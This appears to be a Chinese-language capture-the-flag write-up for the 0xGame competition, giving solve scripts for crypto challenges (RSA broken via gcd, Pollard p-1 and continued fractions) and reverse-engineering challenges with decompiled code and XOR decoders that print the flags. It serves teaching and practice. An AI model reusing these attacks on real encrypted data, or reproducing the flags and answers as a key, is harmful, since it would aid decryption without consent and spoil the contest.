    9. tail, hashv = io.recvline().decode().strip().split(') == ')
    10. found = iters.bruteforce(lambda x: sha256(x.encode() + tail.encode()).hexdigest() == hashv, string.ascii_letters+string.digits,4, method='fixed')
    11. io.sendlineafter(b'[+] Plz tell me XXXX: ', found.encode())
    12. ans = [b"Fermat's little theorem?", b'EzFactor!', b'Continued fractionnnn']
    13. for i in range(3):
    14. io.sendlineafter(b'select challange{1,2,3}', str(i+1).encode())
    15. '''
    16. io.sendlineafter(b'> ', b'1')
    17. print(io.recvline())
    18. io.sendlineafter(b'> ', b'2')
    19. print(io.recvline())
    20. '''
    21. io.sendlineafter(b'> ', b'3')
    22. io.sendlineafter(b"input your answer: ", ans[i])
    23. print(io.recvline())
    24. print(io.recvline())
    25. print(io.recvline())
    26. print(io.recvline())
    27. io.interactive()

    求值

    1. from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
    2. from gmpy2 import *
    3. #1
    4. n = 16337971345733371413499331261508458030575992514813508205447560146754226318829533675326143544764587215859970690593554236873730514978304995491266194879876073710064046659501396367619901194516170920154044953374062771227152717591970522339810481514608466676900893460914296126283117615214666723661535113375748525799536337127614791614720479064759066323294634814929910859863432058918730741813902112864516624506044246201127244618820383187011795110752969051072615305344969909668574639594316393874803563620012012701138356394544801856970106953412132807738307930527046820885423019081864256823206358907321480344569488921577730245113
    5. e = 65537
    6. gift = 5291727248564509502912149572020462152046246231347879433616058796748504905866286022874255529836259808160297658738035837545571665337373121372312841461315886309980309060188040665996189656436269713854203724781400558184806568900689952750814685340040276604779975762651652557843881437955857644935313396692070132503812316916703481926508697656996353475510736275497341869244915304658890255979541641843407754688270238114950363047763325643401053024590182529435317983446289369057966375471045836946146161343450229035550082953685088645107901497278573957351178563716547533774153782129005969073758674124847307700536500949555615784465
    7. c = 0x2f26500359831c7328582cbcf56bb01802bd7ba30609bf1caa81d6b2ba6f53cf53063963c1d656fb71f46974e78dfd94f5ce13b298c4aeb444908d775e37cd9321652277aef797e26cea30244ca01e77e0bd10a3bd15032adcaebc5c085e8e32b659bba0cbf283359df1203a96c454227864ceae8b31e6a5a55d481d2d2b2314be80898b535aa37647f11bedc183ed8a5852238dff522ae53faf64d02c61b2658a5d81ba00c39282466e4dc4f7dc71444ac1a37dab076a53bb79612091b9bf68e78b0239e6204fdf284ebeb3f51dcaf6fb07dd51cd45d57cc58b9b33f85bacaab2423cb590a534f7114e064ed96c4f59d7d5d939db32a5c4979050d841bca2ef
    8. p = gcd(gift-1, n)
    9. q = n//p
    10. m = pow(c,invert(e, (p-1)*(q-1)),n)
    11. l2b(m)
    12. #b"Fermat's little theorem?"
    13. #2 p-1光滑
    14. n = 1792763770377761081581783449316412526572069055080869319009931340446901664944203275597095269419606990832977542354090858952355811419833475915287125467803053031692529275264712885048232744897205910036169844498379222237387738313971610404520758107699935322552065592411361750099097868520415400323414488435054417516824607034075826640781210642417874052630443697661981715458377235568513851341491472535018796175251755104614202232008230322091592851187948966251324132087255325748877901925558340145407637490452656644792209492227858633053650741179940546105179756634536757043853133425980621733392609964962309196913048190451542901901273737121
    15. e = 65537
    16. c = 0x1d7ce3ac644520dfc8d7b818d5c1d03cd16b35e623878ae42db663f3a99b1893532dc25f5c4dea653ce9edc24f2574eb5fe3876f55b72972c69371d7b839be430d7c67f5574348b96427455189cd0ed6981c8a482d2f3b24978a9151e4a24028e642875f13549b5d78bf3b6fc4b26c2e9211f64a3e5d4b0516f6670c63be9463a197c343d92a69949419e6505cbf13e8b75443de20a4378796d451807572baaf0c5db2119b0eeec23d7cb6a0b3de705ec395cbfb272852fab29c7ffad2171d6071fcb7111519e6019e724e9258e5577e2ae9374058231335d1a01bbfc0dd031df28b9b89bb6dbdaf5124d8f19c8a8517cf1592afc4991d2bd69ec21887d75106d2245c4
    17. def pollard(N):
    18. a = 2
    19. n = 2
    20. while True:
    21. a = powmod(a, n, N)
    22. p = gcd(a-1, N)
    23. if p != 1 and p != N:
    24. return p
    25. n += 1
    26. p = pollard(n)
    27. q = n//p
    28. m = pow(c,invert(e, (p-1)*(q-1)),n)
    29. l2b(m)
    30. #b'EzFactor!'
    31. #3 q1/q2 = n1/n2
    32. n1 = 95515482128566293562023187021432122730123406778112965389829427483791937564379048251351141026508517661672357832787138050312276573051242272038677340849305220124834750268217068583481730509734126400432016039010534757409945624340040096875791417214488812623086861098561708051369331650482559206712282001087733785287
    33. n2 = 98610059405909709236605917689098885002879444945638075211314307193606837880105206712319347867622300313532576634370428337380264959717881210838413399517651132671780258159190734344732892368445129227620504465546646408200702147731934326612310869147406851905281733628786238780909744106436897022557740292412749049813
    34. e = 65537
    35. c = 0x4ed40732f4a3a000362608c354df1431750211c7d4d9e6cd31c19ddc9c15014836ef25bdb6a6c0dee0fbc32581916e6d78a2fbb0593567e7252816cacec18e2cf26843286c55050da8b4827ecca4d8b59da462fcd5ccba0b04e1f55d378c21eb497e73579532b4d71d6ba4c4dec4123dd7da903eff1683bf114a07aa87e469b3
    36. prec = 300
    37. ring = RealField(prec)
    38. data3 = ring(n1) / ring(n2)
    39. print(data3)
    40. pq = continued_fraction(data3)
    41. plist = pq.convergents()
    42. for i in plist:
    43. v = str(i).split('/')
    44. if len(v)>1 and is_prime(int(v[0])) and is_prime(int(v[1])) and (int(v[0]).bit_length()==128):
    45. print(v)
    46. q1,q2 = 227202642389178595116033121671729536951,234563712226459514184352381869413267869
    47. p1,p2 = n1//q1,n2//q2
    48. m = pow(c,inverse_mod(e, (p2-1)*(q2-1)),n2)
    49. l2b(m)
    50. #b'Continued fractionnnn'

    REV

    符文解密师

    编译逆旅者 

    1. #!/usr/bin/env python
    2. # visit https://tool.lu/pyc/ for more information
    3. # Version: Python 3.11
    4. import binascii
    5. def main():
    6. flag = binascii.unhexlify(hex(0x307847616D657B63646539646331372D356133312D356330612D646633342D3663373562373634366334627DL)[2:].encode())
    7. user_input = input('请输入一个秘密的数字:')
    8. if not len(user_input) != 13 or user_input.isdigit():
    9. print('无效输入。必须是13位数字。')
    10. return None
    11. if None == '1145141919810':
    12. print(f'''真理的旗帜:{flag}''')
    13. return None
    14. None('秘密的数字错误!')
    15. if __name__ == '__main__':
    16. main()
    17. return None

    这段 pyc可以在网站上几乎完美反编译

    码海舵师

    直接base64

    注册侦探 

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. char *v3; // rsi
    4. _BYTE *v4; // rdi
    5. __int64 v5; // rax
    6. _BYTE *i; // rbx
    7. __int64 v7; // rcx
    8. void *v8; // rdx
    9. __int64 v9; // rax
    10. int Src[12]; // [rsp+30h] [rbp-19h] BYREF
    11. HKEY hKey; // [rsp+60h] [rbp+17h] BYREF
    12. DWORD cbData; // [rsp+68h] [rbp+1Fh] BYREF
    13. DWORD Type; // [rsp+6Ch] [rbp+23h] BYREF
    14. BYTE Data[4]; // [rsp+70h] [rbp+27h] BYREF
    15. __int128 v16; // [rsp+78h] [rbp+2Fh]
    16. char *v17; // [rsp+88h] [rbp+3Fh]
    17. cbData = 4;
    18. Type = 4;
    19. v16 = 0i64;
    20. Src[0] = 1383353091;
    21. Src[1] = 189290078;
    22. Src[2] = 38864395;
    23. Src[3] = 503515984;
    24. Src[4] = 1364350722;
    25. Src[5] = 1448105758;
    26. Src[6] = 89136641;
    27. Src[7] = 85852241;
    28. Src[8] = 72812293;
    29. Src[9] = 50464516;
    30. Src[10] = 1314325334;
    31. v3 = (char *)operator new(0x2Cui64);
    32. *(_QWORD *)&v16 = v3;
    33. v4 = v3 + 44;
    34. v17 = v3 + 44;
    35. memmove(v3, Src, 0x2Cui64);
    36. *((_QWORD *)&v16 + 1) = v3 + 44;
    37. if ( !RegOpenKeyExA(HKEY_CURRENT_USER, "SOFTWARE\\0xGame", 0, 0x20019u, &hKey) )
    38. {
    39. if ( RegQueryValueExA(hKey, "registered", 0i64, &Type, Data, &cbData) )
    40. {
    41. v8 = &unk_140003430;
    42. }
    43. else
    44. {
    45. if ( *(_DWORD *)Data == 1 )
    46. {
    47. v5 = sub_140001420(std::cout, &unk_1400033E0);
    48. std::ostream::operator<<(v5, sub_1400015F0);
    49. for ( i = v3; i != v4; ++i )
    50. sub_140001630(std::cout, *i ^ 0x33u);
    51. v7 = std::cout;
    52. goto LABEL_10;
    53. }
    54. v8 = &unk_140003410;
    55. }
    56. v7 = sub_140001420(std::cout, v8);
    57. LABEL_10:
    58. std::ostream::operator<<(v7, sub_1400015F0);
    59. RegCloseKey(hKey);
    60. goto LABEL_12;
    61. }
    62. v9 = sub_140001420(std::cout, &unk_140003450);
    63. std::ostream::operator<<(v9, sub_1400015F0);
    64. LABEL_12:
    65. system("pause");
    66. if ( v3 )
    67. j_j_free(v3);
    68. return 0;
    69. }

    终于一个不用grep作的题

    1. Src = [0]*12
    2. Src[0] = 0x52744B03
    3. Src[1] = 0xB48565E
    4. Src[2] = 38864395
    5. Src[3] = 503515984
    6. Src[4] = 1364350722
    7. Src[5] = 1448105758
    8. Src[6] = 89136641
    9. Src[7] = 85852241
    10. Src[8] = 72812293
    11. Src[9] = 50464516
    12. Src[10] = 1314325334
    13. from pwn import p32,xor
    14. a = b''.join([p32(v) for v in Src])
    15. xor(a,0x33)
    16. #0xGame{885b1c80-1dab-dce2-c6b3-664d77410e0d}

    壳艺大师

    支持程序脱壳的都不是壳。

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. unsigned __int64 jumpbuf_sp; // rbx
    4. unsigned __int64 v4; // rdi
    5. unsigned int v5; // r10d
    6. unsigned __int64 v6; // r11
    7. __int64 v7; // r11
    8. _BYTE *v8; // rax
    9. char v9; // r9
    10. __int64 v10; // r9
    11. __int64 v11; // rdx
    12. __int64 v12; // r8
    13. _BYTE *v13; // rax
    14. int v14; // r10d
    15. char v15; // r9
    16. __int64 v16; // rax
    17. __int64 v17; // rax
    18. __int64 v19; // rax
    19. int v20[11]; // [rsp+20h] [rbp-59h] BYREF
    20. char v21[4]; // [rsp+4Ch] [rbp-2Dh] BYREF
    21. __int128 v22; // [rsp+50h] [rbp-29h] BYREF
    22. char v23[16]; // [rsp+60h] [rbp-19h] BYREF
    23. char v24[32]; // [rsp+70h] [rbp-9h] BYREF
    24. char v25[24]; // [rsp+90h] [rbp+17h] BYREF
    25. char v26[32]; // [rsp+A8h] [rbp+2Fh] BYREF
    26. sub_1400016E0(v26, argv, envp);
    27. sub_140001600(v25);
    28. v20[0] = 1361186916;
    29. v20[1] = 253370901;
    30. v20[2] = 402750470;
    31. v20[3] = 492178028;
    32. v20[4] = 139951691;
    33. v20[5] = 1280387144;
    34. v20[6] = 1392985440;
    35. v20[7] = 1582069534;
    36. v20[8] = 1330871133;
    37. v20[9] = 1376213345;
    38. v20[10] = 268923932;
    39. v22 = *(_OWORD *)std::u16string_view::basic_string_view<char16_t,std::char_traits<char16_t>>(v23, v20, v21);
    40. sub_140001640(v25, &v22);
    41. sub_140001720(v24);
    42. sub_140001AF0(std::cout, &unk_140004468);
    43. sub_140001D00(std::cin, v24);
    44. jumpbuf_sp = _except_get_jumpbuf_sp(v24);
    45. if ( jumpbuf_sp )
    46. {
    47. v4 = _except_get_jumpbuf_sp(v26);
    48. v6 = v5;
    49. while ( 1 )
    50. {
    51. sub_1400016B0(v26, v6 % v4);
    52. v8 = (_BYTE *)sub_1400016B0(v24, v7);
    53. LOBYTE(v10) = *v8 ^ v9;
    54. v13 = (_BYTE *)std::unique_ptr<char [0]>::operator[](v25, v11, v12, v10);
    55. if ( v15 != *v13 )
    56. break;
    57. v6 = v14 + 1;
    58. if ( v6 >= jumpbuf_sp )
    59. goto LABEL_5;
    60. }
    61. v19 = sub_140001AF0(std::cout, &unk_140004488);
    62. std::ostream::operator<<(v19, sub_140001EE0);
    63. }
    64. else
    65. {
    66. LABEL_5:
    67. v16 = sub_140001AF0(std::cout, &unk_140004498);
    68. v17 = sub_140001F20(v16, v24);
    69. std::ostream::operator<<(v17, sub_140001EE0);
    70. system("pause");
    71. }
    72. sub_1400016D0(v24);
    73. sub_140001630(v25);
    74. sub_1400016D0(v26);
    75. return 0;
    76. }

    内容与上题相同,只是key和密文不同

    1. from pwn import p32,xor
    2. v20 = [0]*11
    3. v20[0] = 1361186916
    4. v20[1] = 253370901
    5. v20[2] = 402750470
    6. v20[3] = 492178028
    7. v20[4] = 139951691
    8. v20[5] = 1280387144
    9. v20[6] = 1392985440
    10. v20[7] = 1582069534
    11. v20[8] = 1330871133
    12. v20[9] = 1376213345
    13. v20[10] = 268923932
    14. a = b''.join([p32(v) for v in v20])
    15. xor(a,b'The0xGameKey')
    16. #0xGame{bc7da8b3-396e-c454-bcf0-3806651bbd3f}

    第3周才会上难度。跟羊羊羊似的。

  • 相关阅读:
    Apache Dubbo 首个 Node.js 3.0-alpha 版本正式发布
    卸载vs方法
    python2.7和python3.8代码兼容中的问题汇总
    【开源】基于微信小程序、Vue和SpringBoot的智慧家政系统
    [EROOR] SpringMVC之500 回调函数报错
    springboot校园师生出入登记系统java ssm
    解释一下用于WebRTC的SRTP的实时传输协议
    python:切分多个串联但单个内部按大小排列数据列表
    Linux部署代码的大致流程
    STM32单片机入门学习(一)
  • 原文地址:https://blog.csdn.net/weixin_52640415/article/details/133935645